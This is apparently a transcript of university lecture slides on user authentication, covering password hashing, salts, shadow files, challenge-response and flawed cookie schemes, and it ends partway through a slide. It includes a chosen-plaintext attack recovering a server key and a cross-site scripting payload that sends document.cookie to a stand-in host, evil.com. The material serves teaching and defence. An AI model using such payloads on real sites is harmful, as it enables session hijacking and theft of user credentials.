slide 1 vitaly shmatikov cs 378 user authentication
TRANSCRIPT
slide 2
Official Business
TA office hours will be in PAI 5.40A Homework #1 due next Tuesday in class
• Posted online
Late submission policy• You have 5 late days per semester
– Use them all at once or split between homeworks and project
• No late submissions accepted after you use up 5 days
slide 3
Overview
Password-based authentication Challenge-response Cookie-based Web authentication Next time: Kerberos
• Implementing authentication with symmetric crypto
slide 4
Basic Problem
?
How do you prove to someone that you are who you claim to be?
Any system with access control must solve this problem
slide 5
Many Ways to Prove Who You Are
What you know• Passwords• Secret key
Where you are• IP address
What you are• Biometrics
What you have• Secure tokens
slide 6
Password-Based Authentication
User has a secret password. System checks it to authenticate the user.
• Vulnerable to eavesdropping when password is communicated from user to system
How is the password stored? How does the system check the password? How easy is it to guess the password?
• Easy-to-remember passwords tend to be easy to guess
• Password file is difficult to keep secret
slide 7
UNIX-Style Passwords
t4h97t4m43 fa6326b1c2 N53uhjr438 Hgg658n53 …
user system password file“cypherpu
nk”
hashfunction
slide 8
Password Hashing
Instead of user password, store H(password) When user enters password, compute its hash
and compare with entry in password file• System does not store actual passwords!
Hash function H must have some properties• One-way: given H(password), hard to find password
– No known algorithm better than trial and error
• Collision-resistant: given H(password1), hard to find password2 such that H(password1)=H(password2)
– It should even be hard to find any pair p1,p2 s.t. H(p1)=H(p2)
slide 9
UNIX Password System
Uses modified DES as if it were a hash function• Encrypt NULL string using password as the key
– Truncates passwords to 8 characters!
• Artificial slowdown: run DES 25 times• Can instruct modern UNIXes to use MD5 hash
function
Problem: passwords are not truly random• With 52 upper- and lower-case letters, 10 digits
and 32 punctuation symbols, there are 948 6 quadrillion possible 8-character passwords
• Humans like to use dictionary words, human and pet names 1 million common passwords
slide 10
Dictionary Attack
Password file /etc/passwd is world-readable• Contains user IDs and group IDs which are used
by many system programs
Dictionary attack is possible because many passwords come from a small dictionary• Attacker can compute H(word) for every word in
the dictionary and see if the result is in the password file
• With 1,000,000-word dictionary and assuming 10 guesses per second, brute-force online attack takes 50,000 seconds (14 hours) on average
– This is very conservative. Offline attack is much faster!
slide 11
Salt
shmat:fURxfg,4hLBX:14510:30:Vitaly:/u/shmat:/bin/csh
/etc/passwd entrysalt
(chosen randomly whenpassword is first set)
crypt(pwd,salt)Password
• Users with the same password have different entries in the password file
• Dictionary attack is still possible!
Basically, DES on NULL plaintext
slide 12
Advantages of Salting
Without salt, attacker can pre-compute hashes of all dictionary words once for all password entries• Same hash function on all UNIX machines• Identical passwords hash to identical values; one
table of hash values can be used for all password files
With salt, attacker must compute hashes of all dictionary words once for each password entry• With 12-bit random salt, same password can hash
to 212 different hash values• Attacker must try all dictionary words for each salt
value in the password file
slide 13
Shadow Passwords
shmat:x:14510:30:Vitaly:/u/shmat:/bin/csh
• Store hashed passwords in /etc/shadow file which is only readable by system administrator (root)
• Add expiration dates for passwords• Early Shadow implementations on Linux called
the login program which had a buffer overflow!
Hashed password is notstored in a world-readable file
/etc/passwd entry
slide 14
Strengthening Passwords
Add biometrics• For example, keystroke dynamics or voiceprint• Revocation is often a problem with biometrics
Graphical passwords• Goal: increase the size of memorable password
space
Rely on the difficulty of computer vision• Face recognition is easy for humans, hard for
machines• Present user with a sequence of faces, he must
pick the right face several times in a row to log in
slide 15
Challenge-Response
user systemsecret key
challenge value
f(key,challenge)
Why is this better than a password over a network?
secret key
slide 16
Challenge-Response Authentication
User and system share a secret key Challenge: system presents user with some
string Response: user computes response based on
secret key and challenge• Secrecy: difficult to recover key from response
– One-way hashing or symmetric encryption work well
• Freshness: if challenge is fresh and unpredictable, attacker on the network cannot replay an old response
– For example, use a fresh random number for each challenge
Good for systems with pre-installed secret keys• Car keys; military friend-or-foe identification
slide 17
MIG-in-the-Middle Attack [Ross Anderson]
AngolaNamibia
South African bomber
Cuban MIG
Challenge N
Secret key K
Secret key K
Retransmitchallenge N
N
Response{N}K
{N}K
{N}K
Response correct!
slide 19
Authentication via Cookies
For Web, need an authentication system that works over HTTP and does not require servers to store session data• Why is it a bad idea to store session state on server?
Servers can use cookies to store state on client• When session starts, server computes an authenticator
and gives it back to browser in the form of a cookie– Authenticator is some value that client should not be able to
forge on his own, e.g., hash(server’s secret key, session id)
• With each request, browser presents the cookie• Server recomputes the authenticator and verifies that
it is what it should be
slide 20
Typical Session with Cookies
client server
POST /login.cgi
Set-Cookie:authenticator
GET /restricted.htmlCookie:authenticator
Restricted content
Verify that thisclient is authorized
Check validity ofauthenticator(e.g., recomputehash(key,sessId))
Authenticators must be unforgeable and tamper-proof(malicious client shouldn’t be able to compute his own or modify an existing authenticator)
slide 21
FatBrain.com circa 1999 [due to Fu et al.]
User logs into website with his password, authenticator is generated, user is given special URL containing the authenticator
• With special URL, user doesn’t need to re-authenticate
– Reasoning: user could not have not known the special URL without authenticating first. That’s true, BUT…
Authenticators are global sequence numbers• It’s easy to guess sequence number for another user
• Fix: use random authenticators
https://www.fatbrain.com/HelpAccount.asp?t=0&[email protected]&p2=540555758
https://www.fatbrain.com/HelpAccount.asp?t=0&p1=SomeoneElse&p2=540555752
slide 22
WSJ.com circa 1999 [due to Fu et al.]
Idea: use user,hash(user | key) as authenticator• Key is secret and known only to the server. Without
the key, clients can’t forge authenticators.
Implementation: user,crypt(user | key)• crypt() is UNIX hash function for passwords• crypt() truncates its input at 8 characters• Usernames matching first 8 characters end up with
the same authenticator• No expiration or revocation
It gets worse… This scheme can be exploited to extract the server’s secret key
slide 23
Chosen-Plaintext Attack
username crypt(username|key,“00”)authenticator cookie
VitalySh1VitalySh2
008H8LRfzUXvk VitalySh1008H8LRfzUXvk
008H8LRfzUXvk VitalySh2008H8LRfzUXvk
Create an account with a 7-letter user name…VitalySA 0073UYEre5rBQ Try logging in: access refused
VitalySB 00bkHcfOXBKno Access refused
VitalySC 00ofSJV6An1QE Login successful! 1st key symbol is C
Now a 6-letter user name…VitalyCA
VitalyCB
001mBnBErXRuc
00T3JLLfuspdo
Access refused
Access refused… and so on
• Only need 128 x 8 queries instead of intended 1288
• That’s 17 minutes with a simple Perl script vs. 2 billion years
slide 24
Better Cookie Authenticator
Capability ExpirationHash(server secret, capability, expiration)
Describes what user is authorized todo on the site that issued the cookie
Cannot be forged by malicious user;does not leak server secret
Main lesson: don’t roll your own!• Homebrewed authentication schemes are often
flawed
There are standard cookie-based schemes• We’ll see one when discussing IPSec
slide 25
Stealing Cookies by Cross Scripting
victim’sbrowser
naive.comevil.com
Access some web page
<FRAME SRC=http://naive.com/hello.cgi?name=<script>win.open(“http://evil.com/steal.cgi?cookie=”+document.cookie)</script>>Forces victim’s browser tocall hello.cgi on naive.comwith script instead of name
GET/ hello.cgi?name=<script>win.open(“http://evil.com/steal.cgi?cookie”+document.cookie)</script>
hello.cgiexecuted
<HTML>Hello, dear<script>win.open(“http://evil.com/steal.cgi?cookie=”+document.cookie)</script>Welcome!</HTML>Interpreted as
Javascript by victim’s browser; opens wndow and calls steal.cgi on evil.com
GET/ steal.cgi?cookie=